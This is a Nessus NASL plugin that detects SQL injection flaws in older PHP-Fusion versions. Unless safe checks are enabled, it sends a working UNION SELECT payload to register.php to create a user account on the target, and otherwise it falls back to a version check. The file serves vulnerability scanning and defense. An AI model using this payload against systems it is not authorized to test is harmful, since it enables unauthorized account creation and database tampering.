code | #
# Josh Zlatin-Amishav (josh at ramat dot cc)
# GPLv2
#
include("compat.inc");
if (description) {
script_id(20009);
script_version("1.18");
script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_cve_id(
"CVE-2005-3157",
"CVE-2005-3158",
"CVE-2005-3160",
"CVE-2005-3161"
);
script_bugtraq_id(
14964,
14992,
15005,
15018
);
script_name(english:"PHP-Fusion < 6.00.110 Multiple Scripts SQL Injection");
script_summary(english:"Checks for SQL injection in PHP-Fusion's register.php");
script_set_attribute(attribute:"synopsis", value:
"The remote host contains several PHP scripts that are vulnerable to
SQL injection flaws.");
script_set_attribute(attribute:"description", value:
"The remote version of this software is vulnerable to multiple SQL
injection attacks due to its failure to properly sanitize certain
parameters. Provided PHP's 'magic_quotes_gpc' setting is disabled,
these flaws allow an attacker to manipulate database queries, which
may result in the disclosure or modification of data.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2005/Oct/51");
script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/secunia_research/2005-52/advisory");
script_set_attribute(attribute:"solution", value:
"Update to at least version 6.00.110 of PHP-Fusion.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value:"2005/10/12");
script_set_attribute(attribute:"vuln_publication_date", value:"2005/07/28");
script_set_attribute(attribute:"patch_publication_date", value:"2005/10/05");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:php_fusion:php_fusion");
script_end_attributes();
script_category(ACT_MIXED_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"(C) 2005-2020 Josh Zlatin-Amishav");
script_dependencies("php_fusion_detect.nasl");
script_require_ports("Services/www", 80);
script_require_keys("www/php_fusion");
exit(0);
}
include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("url_func.inc");
port = get_http_port(default:80, embedded:TRUE);
if (!get_port_state(port)) exit(0);
if (!can_host_php(port:port)) exit(0);
# Test an install.
install = get_kb_item_or_exit(string("www/", port, "/php_fusion"));
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
ver = matches[1];
dir = matches[2];
if (!safe_checks()) {
# Make sure 'register.php' exists -- it's used in the exploit.
req = http_get(item:string(dir, "/register.php"), port:port);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
if (res == NULL) exit(0);
# If it does...
if ("<form name='inputform' method='post' action='register.php'" >< res) {
# Try to exploit the flaw to register a user.
user = rand_str(charset:"abcdefghijklmnopqrstuvwxyz0123456789_");
pass = rand_str();
email = string(user, "@", get_host_name());
sploit = string(
"UNION SELECT ",
'"",',
'"",',
'0,',
"'a:4:{",
's:9:"user_name";s:', strlen(user), ':"', user, '";',
's:13:"user_password";s:', strlen(pass), ':"', pass, '";',
's:10:"user_email";s:', strlen(email), ':"', email, '";',
's:15:"user_hide_email";s:1:"1";',
"}"
);
#
# nb: the code sanitizes GETs so we can't use that.
postdata = string("activate=", rand_str(), "'+", urlencode(str:sploit));
req = string(
"POST ", dir, "/register.php?plugin=", SCRIPT_NAME, " HTTP/1.1\r\n",
"Host: ", get_host_name(), "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n",
postdata
);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
if (res == NULL) exit(0);
if ( "Your account has been verified." >< res)
{
if (report_verbosity > 0) {
report = string(
"\n",
"Nessus has successfully exploited one of the flaws by adding\n",
"the user '", user, "' to PHP-Fusion on the remote host.\n"
);
security_warning(port:port, extra:report);
}
else
security_warning(port:port);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
}
# Check the version number in case registrations are disabled or safe checks are enabled.
if (ver =~ "^([0-5][.,]|6[.,]00[.,](0|10[0-9]))") {
report =
"***** Nessus has determined the vulnerability exists on the remote
***** host simply by looking at the version number of PHP-Fusion
***** installed there.";
security_warning(port:port, extra:report);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
}
}
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